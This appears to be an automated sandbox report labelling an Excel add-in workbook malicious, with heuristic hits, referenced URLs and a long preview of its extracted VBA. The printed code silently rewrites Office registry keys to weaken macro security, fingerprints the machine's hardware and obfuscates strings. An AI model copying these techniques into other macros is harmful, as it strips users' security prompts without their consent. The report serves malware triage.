MALICIOUS
660
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample contains heavily obfuscated VBA macros designed to execute code upon opening the workbook. It utilizes functions like `URLDownloadToFile` and `Shell()` to download and run a secondary payload from URLs such as http://ExcelVBA.ru/php2/updates.php. The presence of `Workbook_Open` and `CreateObject` calls, along with the ClamAV detection of 'Xls.Malware.Powmet-6922919-0', strongly indicates a malicious downloader.
Heuristics 17
-
ClamAV: Xls.Malware.Powmet-6922919-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Malware.Powmet-6922919-0
-
Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOADReference to URLDownloadToFile API
-
VBA macros detected medium 10 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
On Error Resume Next: Dim Folder$, downloads_folder$, changed As Boolean, v Const USF$ = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\" downloads_folder$ = Replace(SETT.GetText("{374DE290-123F-4565-9164-39C4925E467B}", , USF$), "%USERPROFILE%", Environ("USERPROFILE")) -
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
sec_key$ = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & Application.Version & "\Excel\Security\" With CreateObject("WScript.Shell") .RegWrite sec_key$ & "AccessVBOM", 1, "REG_DWORD" -
URLDownloadToFile in VBA critical OLE_VBA_DOWNLOADURLDownloadToFile in VBAMatched line in script
#If VBA7 Then ' Office 2010-2013 Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" _ (ByVal pCaller As LongPtr, ByVal szURL As String, ByVal szFileName As String, _ -
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
delay_txt$ = Replace(Format(CDbl(TimeSerial(0, 0, 1)) * delay, "0.000000000"), ",", ".") ExecuteExcel4Macro "ON.TIME(NOW()+" & delay_txt$ & ", ""'" & ThisWorkbook.Name & "'!" & macroname$ & """)" End Sub -
VBA ActiveX event launches decoded Excel4 macro critical OLE_VBA_ACTIVEX_XLM_STAGERThe compiled VBA p-code (identifier table) references an auto-firing ActiveX/control event together with ExecuteExcel4Macro, while the decompressed source does not — the VBA-stomping shape of the ActiveX-event XLM stager. The control event bridges into XLM formula execution to call Win32 / drop payloads, hidden from source-level scanners.
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Function HID$() On Error Resume Next: Dim SN&: SN& = CreateObject("scripting.filesystemobject").GetDrive(ChrW(99) & ChrW(58)).SerialNumber HID$ = ChrW(115) & Format(Abs(934526875# - SN&), "0000000000") -
GetObject call high OLE_VBA_GETOBJGetObject callMatched line in script
If Not DriveLetter$ Like "[A-Z]:" Then DriveLetter$ = "C:" With GetObject("winmgmts:") For Each obj In .ExecQuery("ASSOCIATORS OF {Win32_LogicalDisk.DeviceID='" & DriveLetter$ & "'} WHERE AssocClass = Win32_LogicalDiskToPartition"): PartName$ = obj.DeviceID: Next -
VBA instantiates a COM class by raw CLSID high OLE_VBA_GETOBJECT_CLSID_EVASIONVBA uses GetObject("new:{CLSID}") to instantiate a COM class by raw CLSID rather than a CreateObject ProgID — an uncommon bypass of name-based macro detection.Matched line in script
Function ClipboardText() With GetObject("New:{1C3B4210-F441-11CE-B9EA-00AA006B1A69}") .GetFromClipboard -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Private Sub Workbook_Open() On Error Resume Next: Dim FirstRun As Boolean -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
DriveLetter$ = GetSetting(PROJECT_NAME$, "Setup", "DriveLetter") If Not DriveLetter$ Like "[A-Z]:" Then DriveLetter$ = Environ("SystemDrive") If Not DriveLetter$ Like "[A-Z]:" Then DriveLetter$ = "C:" -
Reference to CreateProcess API high SC_STR_CREATEPROCESSReference to CreateProcess API
-
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ExcelVBA.ru/ Referenced by macro
- http://ExcelVBA.ru/php2/updates.phpReferenced by macro
- http://Excel-Automation.com/Referenced by macro
- http://www.wordarticles.com/Shorts/RibbonVBA/RibbonVBADemo.phpReferenced by macro
- http://ExcelVBA.ru/programmes/Lookup/CopyRowsReferenced by macro
- http://excelvba.ru/Referenced by macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 626904 bytes |
SHA-256: 6e1effb4fbf98cfddaf037331cebff7061d26ec7ec7e24738365ab6307975588 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 10 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWB"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'---------------------------------------------------------------------------------------
' Author : Igor Vakhnenko Date: 25.12.2015
' Professional application development for Microsoft Excel
' http://ExcelVBA.ru/ info@excelvba.ru Skype: ExcelVBA.ru
'---------------------------------------------------------------------------------------
Private Sub Workbook_BeforeClose(Cancel As Boolean)
DeleteProgramCommandBar
End Sub
Private Sub Workbook_Open()
On Error Resume Next: Dim FirstRun As Boolean
FirstRun = SETT.IsFirstRun
If FirstRun Then ShowFirstRunForm
If SetupCancelled Then
Application.DisplayAlerts = False
If TrueDeveloper Then MsgBox "Setup Cancelled", vbInformation Else ThisWorkbook.Close False
Application.DisplayAlerts = True
Exit Sub
End If
Enable_AccessVBOM_Macro_DataConnections ' disables notifications
SaveSetting PROJECT_NAME$, "Setup", "AddinPath", ThisWorkbook.FullName
If FirstRun Then If IsObject(F_Greeting) Then F_Greeting.Show
CreateProgramCommandBar 0
End Sub
Attribute VB_Name = "mod_About_NEW"
'---------------------------------------------------------------------------------------
' Module : mod_About_NEW Version: 2.6
' Author : Igor Vakhnenko Date: 09.05.2016
' Professional application development for Microsoft Excel
' http://ExcelVBA.ru/ info@excelvba.ru Skype: ExcelVBA.ru
'---------------------------------------------------------------------------------------
Option Explicit: Option Compare Text: Option Private Module
Public Const DEBUG_MODE As Boolean = False 'True
Public Const UPDATES_HYPERLINK$ = "http://ExcelVBA.ru/php2/updates.php"
Public Const DEVELOPER_WEBSITE$ = "http://ExcelVBA.ru/" '"http://Excel-Automation.com/"
Public Const SUPPORT_EMAIL_RUS$ = "info@ExcelVBA.ru", SUPPORT_EMAIL$ = "support@Excel-Automation.com"
Public Const BUY_NEW_HYPERLINK$ = "%website%buy/add-in?name=%projectname%"
Public Const BUY_ADD_HYPERLINK$ = "%website%buy2/add-in?name=%projectname%"
Public Const UNINSTALL_HYPERLINK$ = "%website%uninstall/program?name=%projectname%"
Public Const EULA_HYPERLINK$ = "%website%buy/EULA?name=%projectname%"
Public Const BREACH_EULA_HYPERLINK$ = "%website%buy/EULA/breach?name=%projectname%"
Public Const CABINET_HYPERLINK$ = "%website%cabinet/login"
Public Const VERSIONS_HISTORY_HYPERLINK$ = "%website%updates/history.php?addin=%projectname%"
Public SetupCancelled As Boolean, StopMacro As Boolean
Sub ActivateAddinsTab()
On Error Resume Next: Dim TabName$
Select Case Application.LanguageSettings.LanguageID(msoLanguageIDUI)
Case 1049: TabName$ = SETT.U("CDE0E4F1F2F0EEE9EAE8") '"Надстройки"
Case 1033: TabName$ = "Add-Ins"
End Select
If Len(TabName$) Then SwitchTab TabName$
End Sub
Sub Add3Buttons(ByRef AddinMenu As Object)
Add_Control(AddinMenu, ct_BUTTON, 0, "0", "", msoButtonIconAndCaption, False).Enabled = 0
Add_Control AddinMenu, ct_BUTTON, 222, "ShowSettingsPage", tt("MENU_Settings") & " ", msoButtonIconAndCaption, True
Add_Control AddinMenu, ct_BUTTON, 487, "ShowMainForm", tt("MENU_About") & " ", msoButtonIconAndCaption, True
Add_Control AddinMenu, ct_BUTTON, IIf(Val(Application.Version) <= 11, 4356, 923), "ExitProgram", tt("MENU_Exit"), msoButtonIcon, True
End Sub
Function Add_Control(ByRef Comm_Bar, ByVal ControlType As CONTROL_TYPES, Optional ByVal B_Face&, Optional ByVal On_Action$, _
Optional ByVal B_Caption$, Optional ByVal Button_Style As Long = msoButtonIcon, _
Optional ByVal Begin_Group As Boolean = False, Optional Tag = "") As CommandBarControl
On Error Resume Next
Set Add_Control = Comm_Bar.Controls.Add(Type:=ControlType, Temporary:=True)
With Add_Control
If B_Face > 0 And ControlType = ct_BUTTON Then .FaceId = B_Face
If Len(On_Action) Then
.Tag = TWN & On_Action & "\\\" & Tag
.OnAction = TWN & "RunMacroFromButton": If On_Action Like "Exit*" Then .OnAction = TWN & On_Action
End If
.Caption = B_Caption
.BeginGroup = Begin_Group
If ControlType = ct_BUTTON Or ControlType = ct_DROPDOWN Then .Style = Button_Style
End With
End Function
Private Sub RunMacroFromButton()
On Error Resume Next: Dim Macro$, param$
Macro$ = Split(Application.CommandBars.ActionControl.Tag, "\\\")(0)
param$ = Split(Application.CommandBars.ActionControl.Tag, "\\\")(1)
If Macro$ Like TWN & "*" Then SETT.LastMacro Macro$
If Len(Macro$) > O Then If Len(param$) Then Run Macro$, param$ Else Run Macro$
End Sub
Function GetCommandBar(ByVal CommandBarName As String, Optional ByVal Clean As Boolean = False, _
Optional ByVal Position As MsoBarPosition = msoBarTop) As CommandBar
On Error Resume Next: Err.Clear: Dim cbc As Object
Set GetCommandBar = Application.CommandBars(CommandBarName)
If Err.Number Then
Set GetCommandBar = Application.CommandBars.Add(CommandBarName, Position, False, True)
End If
If Clean Then
GetCommandBar.Visible = False
For Each cbc In GetCommandBar.Controls: cbc.Delete: Next
End If
GetCommandBar.Visible = True
End Function
Function DeleteProgramCommandBar()
On Error Resume Next: GetCommandBar(PROJECT_NAME).Visible = False
End Function
Function SetIsAddinAsFalse()
On Error Resume Next: ThisWorkbook.IsAddin = False
End Function
Function SetIsAddinAsTrue()
On Error Resume Next: ThisWorkbook.IsAddin = True
End Function
'Sub ComboChanged() ' срабатывает при изменении значения в комбобоксе или текстбоксе
' On Error Resume Next
' НазваниеКомбобокса = Application.CommandBars.ActionControl.Tag
' ТекстКомбобокса = Application.CommandBars.ActionControl.Text
' MsgBox "Новое значение: """ & ТекстКомбобокса & """", _
' vbInformation, "Изменения в поле\списке """ & НазваниеКомбобокса & """"
'End Sub
'Sub AdditionalMacros() ' срабатывает при нажатии одной из кнопок в подменю
' On Error Resume Next
' НомерМакроса = Application.CommandBars.ActionControl.Tag
' MsgBox "Параметр макроса = """ & НомерМакроса & """", vbInformation, "Запущен макрос из подменю"
'End Sub
Function SETT() As AddinSettings
Static objSETT As AddinSettings
If objSETT Is Nothing Then Set objSETT = New AddinSettings: objSETT.LoadAllSettings
Set SETT = objSETT
End Function
Private Sub ShowMainForm()
On Error Resume Next: F_About.Show
F_About.MultiPage1.Value = 0
End Sub
Sub ShowSettingsPage()
On Error Resume Next: F_Settings.Show
End Sub
Sub ShowFirstRunForm()
On Error Resume Next: F_FirstRun.Show
End Sub
Sub RunWithDelay(ByVal macroname$, Optional ByVal delay As Double = 0.5)
On Error Resume Next: Dim delay_txt$
delay_txt$ = Replace(Format(CDbl(TimeSerial(0, 0, 1)) * delay, "0.000000000"), ",", ".")
ExecuteExcel4Macro "ON.TIME(NOW()+" & delay_txt$ & ", ""'" & ThisWorkbook.Name & "'!" & macroname$ & """)"
End Sub
Function HWID(Optional ByVal Refresh As Boolean) As String
On Error Resume Next: Dim v&, sv$, obj As Object, DriveID$, PartName$, DriveLetter$
sv$ = GetSetting(PROJECT_NAME$, "Setup", "HWID")
If sv$ <> "" Then If Not Refresh Then HWID = sv$: Exit Function
DriveLetter$ = GetSetting(PROJECT_NAME$, "Setup", "DriveLetter")
If Not DriveLetter$ Like "[A-Z]:" Then DriveLetter$ = Environ("SystemDrive")
If Not DriveLetter$ Like "[A-Z]:" Then DriveLetter$ = "C:"
With GetObject("winmgmts:")
For Each obj In .ExecQuery("ASSOCIATORS OF {Win32_LogicalDisk.DeviceID='" & DriveLetter$ & "'} WHERE AssocClass = Win32_LogicalDiskToPartition"): PartName$ = obj.DeviceID: Next
For Each obj In .ExecQuery("ASSOCIATORS OF {Win32_DiskPartition.DeviceID='" & PartName$ & "'} WHERE AssocClass = Win32_DiskDriveToDiskPartition"): DriveID$ = obj.DeviceID: Next
For Each obj In .ExecQuery("SELECT * FROM Win32_DiskDrive WHERE DeviceID='" & Replace(DriveID$, "\", "\\") & "'"): v& = Val(obj.Signature): Next
End With
If v& = 0 Then HWID = "100000" & Mid(HID, 2) Else HWID = Right(Left(Replace(Abs((CSng(v) + 1.2345) / 0.00639), Mid(1 / 2, 2, 1), ""), 15) & Format(Abs(v Mod 1000), "000"), 16)
SaveSetting PROJECT_NAME$, "Setup", "HWID", HWID
End Function
Function HID$()
On Error Resume Next: Dim SN&: SN& = CreateObject("scripting.filesystemobject").GetDrive(ChrW(99) & ChrW(58)).SerialNumber
HID$ = ChrW(115) & Format(Abs(934526875# - SN&), "0000000000")
End Function
Function GetVersion() As Long
On Error Resume Next: GetVersion = Val(ThisWorkbook.BuiltinDocumentProperties("Revision Number"))
If GetVersion < 1000 Then GetVersion = 1000
End Function
Function GetVersionTXT(Optional ByVal ver& = 0)
On Error Resume Next: If ver& = 0 Then ver& = GetVersion
GetVersionTXT = Mid(ver&, 1, 1) & "." & Mid(ver&, 2, 1) & "." & Val(Mid(ver&, 3))
End Function
Sub SetVersion(ByVal n As Long)
On Error Resume Next: If n < 1000 Then n = 1000
ThisWorkbook.BuiltinDocumentProperties("Revision Number") = n
ThisWorkbook.BuiltinDocumentProperties("Creation Date") = Now
End Sub
Function l0&(): On Error Resume Next: l0& = Val("&H" & Split(ThisWorkbook.Names(Chr(116) & Chr(100)).RefersTo, "%%")(1)): End Function
Function ll&(): On Error Resume Next: Dim d&, t&: d = Fix(l0 - (SETT.DTU - Val(SETT.RSP(1))) / 86400): t& = Val(SETT.RSP(3)): SETT.WSP 3, IIf(t > d, d + 1, t): ll& = 1: End Function
Private Sub PrintSettings_AsDefault()
On Error Resume Next: Err.Clear: Dim arr, i&, txt
arr = GetAllSettings(PROJECT_NAME$, "Settings")
If IsArray(arr) Then
For i = LBound(arr) To UBound(arr)
txt = "SetDefaultSetting """ & arr(i, 0) & """, """ & arr(i, 1) & """"
Debug.Print txt
Next i
End If
End Sub
Function ImportSettings(Optional ByVal xmlPath$ = "", Optional HideMessages As Boolean = False) As Boolean
On Error Resume Next: Err.Clear
If xmlPath$ = "" Then
xmlPath$ = FWF.GetFilePath(tt("ImportSettingsFileDialog", PROJECT_NAME$), ThisWorkbook.Path, tt("AddinSettings", PROJECT_NAME$), "*.xml")
End If
If xmlPath$ = "" Then Exit Function
ImportSettings = SETT.ImportFromFile(xmlPath$, HideMessages)
End Function
Function ExportSettings(Optional ByVal xmlPath$ = "", Optional HideMessages As Boolean = False) As Boolean
On Error Resume Next: Err.Clear
Dim initial_filename$, dialog_title$, prevDir$, res As Variant
If xmlPath$ = "" Then
initial_filename$ = ThisWorkbook.Path & "\" & PROJECT_NAME$ & "_Settings_" & Format(Now, "DD.MM.YYYY_HH-NN-SS") & ".xml"
dialog_title$ = tt("ExportSettingsFileDialog", PROJECT_NAME$)
prevDir$ = CurDir$: ChDrive Left(initial_filename$, 1): ChDir ThisWorkbook.Path
res = Application.GetSaveAsFilename(initial_filename$, tt("AddinSettings", PROJECT_NAME$) & " (*.xml),", , dialog_title$, tt("Save"))
ChDrive Left(prevDir$, 1): ChDir prevDir$
If VarType(res) = vbBoolean Then Exit Function
xmlPath$ = CStr(res)
End If
ExportSettings = SETT.ExportToFile(xmlPath$, HideMessages)
End Function
Function PROGRAM_HYPERLINK$()
PROGRAM_HYPERLINK$ = DEVELOPER_WEBSITE$ & "programmes/" & PROJECT_NAME$ & "?ref=" & HWID
End Function
Sub Enable_AccessVBOM_Macro_DataConnections()
On Error Resume Next: Dim sec_key$
sec_key$ = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & Application.Version & "\Excel\Security\"
With CreateObject("WScript.Shell")
.RegWrite sec_key$ & "AccessVBOM", 1, "REG_DWORD"
.RegWrite sec_key$ & "VBAWarnings", 1, "REG_DWORD"
.RegWrite sec_key$ & "DataConnectionWarnings", 0, "REG_DWORD"
End With
End Sub
Function AddinAutoRun(Optional ByVal NewState As Variant) As Boolean
On Error Resume Next
Dim ShortcutFullName$, AI As AddIn
ShortcutFullName$ = Application.StartupPath & Application.PathSeparator & PROJECT_NAME$ & ".lnk"
If Not VarType(NewState) = vbBoolean Then AddinAutoRun = FWF.FileExists(ShortcutFullName$): Exit Function
If NewState = True Then
With CreateObject("WScript.Shell").CreateShortcut(ShortcutFullName$)
.TargetPath = ThisWorkbook.FullName
.Save
End With
ElseIf NewState = False Then
Kill Application.StartupPath & Application.PathSeparator & PROJECT_NAME$ & "*.lnk"
End If
AddinAutoRun = CBool(NewState)
For Each AI In Application.AddIns
If AI.Name = ThisWorkbook.Name Then AI.Installed = False
Next AI
End Function
Function DeleteOldCommandBar(): On Error Resume Next: Run TWN & "Request_": End Function
Function UninstallThisFile(Optional ByVal Mode& = 1)
On Error Resume Next
If Mode& = 1 Then
If MsgBox(tt("MSG_UninstallConfirmation"), vbExclamation + vbOKCancel + vbDefaultButton2, _
tt("MSG_UninstallConfirmationTitle")) = vbCancel Then Exit Function
End If
If TrueDeveloper Then MsgBox "Uninstalling cancelled", vbInformation, "Mode=" & Mode&: Exit Function
AddinAutoRun False
Application.DisplayAlerts = False
Dim FilePath$: FilePath$ = ThisWorkbook.FullName
ThisWorkbook.ChangeFileAccess xlReadOnly
SetAttr FilePath$, vbNormal
Kill FilePath$
If Mode& = 1 Then If RUS Then FollowHyperlink UNINSTALL_HYPERLINK$
If Mode& >= 2 Then If RUS Then FollowHyperlink BREACH_EULA_HYPERLINK$
'If Mode& = 3 Then Request_ "action=bugger_detected"
'Application.DisplayAlerts = True
ThisWorkbook.Close False
End Function
Function Developer() As Boolean: Developer = TrueDeveloper And (Dir("c:\testmode", vbNormal) = ""): End Function
Function TrueDeveloper() As Boolean
Dim txt$: txt$ = Environ(Chr(85) & Chr(83) & Chr(69) & Chr(82) & Chr(68) & Chr(79) & Chr(77) & Chr(65) & Chr(73) & Chr(78)): TrueDeveloper = (txt$ Like ChrW(73) & ChrW(71) & ChrW(79) & ChrW(82) & ChrW(72) & ChrW(79) & ChrW(77) & ChrW(69) & ChrW(42)) Or (txt$ Like ChrW(73) & ChrW(71) & ChrW(79) & ChrW(82) & ChrW(87) & ChrW(79) & ChrW(82) & ChrW(75) & ChrW(42))
End Function
Function MU_() As Boolean
On Error Resume Next: Dim X: X = ll: Err.Clear: X = ThisWorkbook.VBProject.VBComponents.Count
If TrueDeveloper Then Exit Function
MU_ = Err = 0: If MU_ Then UninstallThisFile 2
End Function
Function OfficeBits() As Long
#If VBA7 And Win64 Then
OfficeBits = 64
#Else
OfficeBits = 32
#End If
End Function
Function TWN() As String: TWN = "'" & ThisWorkbook.Name & "'!": End Function
Function O() As Long
On Error Resume Next: Dim i&, t As Double: O = 2 ^ 30: If MU_ Then Exit Function
If AS_ > 0 Then
O = 0
Else
Application.EnableCancelKey = xlDisabled: ShowMainForm
With F_About.Controls(Chr(76) & Chr(97) & Chr(98) & Chr(101) & Chr(108) & Chr(95) & Chr(73) & Chr(110) & Chr(102) & Chr(111))
For i = 1 To 10
.Visible = i Mod 2 = 0: t = Timer: While Abs(Timer - t) < 0.2: DoEvents: Wend
Next
End With
With F_About.Controls(Chr(76) & Chr(97) & Chr(98) & Chr(101) & Chr(108) & Chr(95) & Chr(72) & Chr(76) & Chr(95) & Chr(66) & _
Chr(117) & Chr(121) & Chr(76) & Chr(105) & Chr(99) & Chr(101) & Chr(110) & Chr(115) & Chr(101))
.ForeColor = RGB(255, 0, 0)
For i = 1 To 4
.Visible = i Mod 2 = 0: t = Timer: While Abs(Timer - t) < 0.2: DoEvents: Wend
Next
End With
Application.EnableCancelKey = xlInterrupt
End If
End Function
Function cmdDisplay(txt) As String
On Error Resume Next: Dim pass$, d&, i&, letter$
If Left(txt, 1) = "P" Then txt = Mid(txt, 2): pass$ = "" Else pass$ = HID
d = Val("&H" & Mid(txt, 1, 2))
For i = 2 To Len(txt) / 2
letter = Val("&H" & Mid(txt, 2 * i - 1, 2))
cmdDisplay$ = cmdDisplay$ & Chr(letter Xor CInt(2 * d * Abs(Sin(3 * (i - 1)))) + Val(Mid(pass$, 2 + (i - 1) Mod 10, 1)))
Next
End Function
Function CreateShortcutInStartMenu(Optional ByVal ShortcutName$ = PROJECT_NAME$, Optional ByVal ShortcutFolderName$)
On Error Resume Next
Dim ShortcutFullName$, Folder$
If ShortcutFolderName$ = "" Then ShortcutFolderName$ = tt("StartMenuFolderName")
Folder$ = CreateObject("WScript.Shell").SpecialFolders("StartMenu") & Application.PathSeparator
If Len(Trim(ShortcutFolderName$)) Then
Folder$ = Folder$ & FWF.Replace_symbols(ShortcutFolderName$) & Application.PathSeparator
MkDir Folder$
End If
ShortcutFullName$ = Folder$ & FWF.Replace_symbols(ShortcutName$, " ") & ".lnk"
Kill Folder$ & "*" & PROJECT_NAME$ & "*.lnk" ' deleting old shortcuts
With CreateObject("WScript.Shell").CreateShortcut(ShortcutFullName$)
.TargetPath = ThisWorkbook.FullName
.Description = tt("ProgramFullname") & vbNewLine & vbNewLine & Split(PROGRAM_HYPERLINK$, "?")(0)
.Save
End With
End Function
Sub UpdateStatus(Optional ByRef obj As MSForms.Label)
On Error Resume Next: Dim txt$, ou$, col&, sh As Boolean
With SETT
Select Case Run(TWN & .U("41535F"))
Case 4: ou$ = Trim(.GetRegValue(.U("757365726E616D65"))): If ou$ = "" Then ou$ = Trim(.GetRegValue(.U("656D61696C")))
txt = tt("|4143545F4F4B") & vbNewLine & tt("|4143545F4F574E4552", ou$): col& = RGB(0, 150, 0): sh = True
Case 1: txt = tt("|4143545F545249414C") & vbNewLine & tt("|4143545F444159534C454654", .RSP(3)): col& = RGB(200, 50, 0)
Case 0: txt = tt("|4143545F45585049524544") & vbNewLine & tt("|4143545F4255594E4F57"): col& = RGB(255, 0, 0)
Case Else: txt = .U("556E6B6E6F776E2061637469766174696F6E207374617475732E0D0A436F6E7461637420646576656C6F70657220746F206669782074686973206572726F722E"): col& = RGB(100, 0, 100)
End Select
obj.Caption = txt: obj.ForeColor = col
End With
With F_About
.MultiPage1.Pages(SETT.U("506167655F526567496E666F")).Visible = Not sh: .Label_HL_Cabinet.Visible = sh
.Label_HL_BuyLicense = tt("|465F41626F75745C4C6162656C5F484C5F4275794C6963656E7365" & IIf(sh, "32", ""))
.Repaint
End With
End Sub
Sub ApplyZoomTo(ByRef UF)
On Error Resume Next: Dim zo&, dh&
zo = SETT.GetNumber("ComboBox_Zoom", 100)
If zo < 20 Then zo = 100
dh& = UF.Height - UF.InsideHeight
UF.Width = UF.Width * zo / 100: UF.Height = (UF.Height - dh&) * zo / 100 + dh&
UF.Zoom = zo
End Sub
Sub ExitProgram()
On Error Resume Next
If MsgBox(tt("MSG_ExitProgram"), vbQuestion + vbDefaultButton2 + vbOKCancel) = vbCancel Then Exit Sub
DeleteProgramCommandBar
ThisWorkbook.Close False
End Sub
' ---------------------------------------------------------------------------------------------------------------------
Function UpdateAvailable() As Boolean
On Error Resume Next: UpdateAvailable = SETT.GetText("NewVersionURL", , "Updates") Like "http*://*.*/?*.xl*"
End Function
Sub ApplySettingSet(ByVal filename$)
On Error Resume Next: Dim setting_set_name$, macroname$, ctrl As Object
If filename$ Like "folder=?*" Then ' dropdown changed
setting_set_name$ = Application.CommandBars.ActionControl.Text
filename$ = Split(filename$, "folder=", 2)(1) & setting_set_name$ & ".xml"
End If
If filename$ Like "macro=?*&*" Then ' button pressed
macroname$ = Split(Split(filename$, "macro=", 2)(1), "&", 2)(0)
filename$ = Split(filename$, "&", 2)(1)
setting_set_name$ = Application.CommandBars.ActionControl.Caption
setting_set_name$ = Mid(setting_set_name$, 2, Len(setting_set_name$) - 2) ' TRIM
If filename$ = "" Then setting_set_name$ = "" ' for main button
End If
'MsgBox filename$, , setting_set_name$
If SETT.ActivateSettingSet(setting_set_name$, filename$) Then
If Len(macroname$) Then
For Each ctrl In Application.CommandBars.ActionControl.Parent.Controls
If ctrl.FaceId = Application.CommandBars.ActionControl.FaceId Then ctrl.State = msoButtonUp
Next
Application.CommandBars.ActionControl.State = msoButtonDown
Run TWN & macroname$
End If
Run TWN & "SettingSetChanged"
Else
RunWithDelay "CreateProgramCommandBar", 0.5 ' incorrect setting set name
End If
End Sub
Function AS_() As Long
On Error Resume Next: Dim txt$
With SETT
txt$ = .GetRegValue(.U("636F6465")) & "@": txt = Split(txt, "@")(1)
If Len(.k) * (txt = .k) Then AS_ = 4: Exit Function
AS_ = -(.RSP(3) > 0)
End With
End Function
Sub AddSettingsSwitcher(ByVal AddinMenu As Object, Optional ByVal SwitcherType As CONTROL_TYPES = ct_BUTTON, _
Optional ByVal SettingsFolderName$, Optional ByVal MainMacroName$, Optional ByRef MainMacroButton As Object)
On Error Resume Next
Dim coll As New Collection, SettingsFolder$, Item, filename$, MenuDropdown As Object, SettingSetName$, i&, UserSwitcherType&
SettingsFolderName$ = Trim(Replace(SettingsFolderName$, "\", ""))
If SettingsFolderName$ = "" Then SettingsFolderName$ = PROJECT_NAME$ & "Settings"
SettingsFolder$ = ThisWorkbook.Path & "\" & SettingsFolderName$ & "\"
If Not FWF.FolderExists(SettingsFolder$) Then Exit Sub
Set coll = FWF.FilenamesCollection(SettingsFolder$, "*.xml", 1)
If coll.Count = 0 Then Set coll = Nothing: Exit Sub
If SwitcherType = ct_COMBOBOX Then SwitcherType = ct_DROPDOWN
' SwitcherType is one of ct_BUTTON or ct_COMBOBOX / ct_DROPDOWN
UserSwitcherType& = SETT.GetNumber("SettingsSwitcher", 1, "Setup")
' user can disable switcher or change type of switcher by adding key "SettingsSwitcher" into Setup registry section
' 0 = switcher disabled, 1 = default type, 2 = DROPDOWN SWITCHER, 3 = BUTTON SWITCHER
Select Case UserSwitcherType&
Case 0: Exit Sub
Case 2: SwitcherType = ct_DROPDOWN
Case 3: SwitcherType = ct_BUTTON
End Select
Add_Control(AddinMenu, ct_BUTTON, 0, "0", "", msoButtonIconAndCaption, False).Enabled = 0
If SwitcherType = ct_DROPDOWN Then
Set MenuDropdown = Add_Control(AddinMenu, ct_DROPDOWN, , "ApplySettingSet", tt("SettingSetDropdownCaption") & ":", _
msoComboLabel, , "folder=" & SettingsFolder$)
MenuDropdown.AddItem "<" & tt("DefaultSettingSetName") & ">"
End If
SettingSetName$ = SETT.GetCurrentSetName
For Each Item In coll
filename$ = Split(Dir(Item, vbNormal), ".xml")(0)
Select Case SwitcherType
Case ct_BUTTON
With Add_Control(AddinMenu, ct_BUTTON, MainMacroButton.FaceId, "ApplySettingSet", " " & filename$ & " ", _
msoButtonIconAndCaption, , "macro=" & MainMacroName$ & "&" & Item)
.State = IIf(SettingSetName$ = filename$, msoButtonDown, msoButtonUp)
End With
Case ct_DROPDOWN
MenuDropdown.AddItem filename$
End Select
Next
If SwitcherType = ct_DROPDOWN Then
For i = 1 To MenuDropdown.ListCount
If MenuDropdown.List(i) = SettingSetName$ Then MenuDropdown.ListIndex = i: Exit For
Next i
If MenuDropdown.ListIndex = 0 Then
MenuDropdown.ListIndex = 1
If SettingSetName$ <> "" Then SETT.ActivateSettingSet ""
End If
End If
If SwitcherType = ct_BUTTON Then
MainMacroButton.Tag = TWN & "ApplySettingSet" & "\\\" & "macro=" & MainMacroName$ & "&"
MainMacroButton.State = IIf(SettingSetName$ = "", msoButtonDown, msoButtonUp)
End If
Set coll = Nothing
End Sub
Sub AddUpdateButton(ByRef AddinMenu As Object)
On Error Resume Next
If UpdateAvailable Then
Dim UpdateButton As Object, UpdateButtonCaption$, UpdateType&, ShowUpdateButton As Boolean
UpdateType& = SETT.GetNumber("NewVersionType", 0, "Updates")
If UpdateType& > 0 Then
ShowUpdateButton = UpdateType& > 1 ' ShowUpdateButton = InStr(1, "23", UpdateType&) > 0
If ShowUpdateButton Then Add_Control(AddinMenu, ct_BUTTON, 0, "0", "", msoButtonIconAndCaption, False).Enabled = 0
If SETT.GetBoolean("AutoInstall", False, "Updates") Or (UpdateType& = 4) Then
UpdateButtonCaption$ = Run(TWN & "tt", "MENU_UpdateInProgress")
If UpdateButtonCaption$ = "" Then UpdateButtonCaption$ = "Installing update in process …"
If ShowUpdateButton Then Set UpdateButton = Add_Control(AddinMenu, ct_BUTTON, 1977, "", " " & UpdateButtonCaption$ & " ", msoButtonIconAndCaption, True)
UpdateButton.State = msoButtonDown
InstallUpdate
Else
UpdateButtonCaption$ = Run(TWN & "tt", "MENU_UpdateReady")
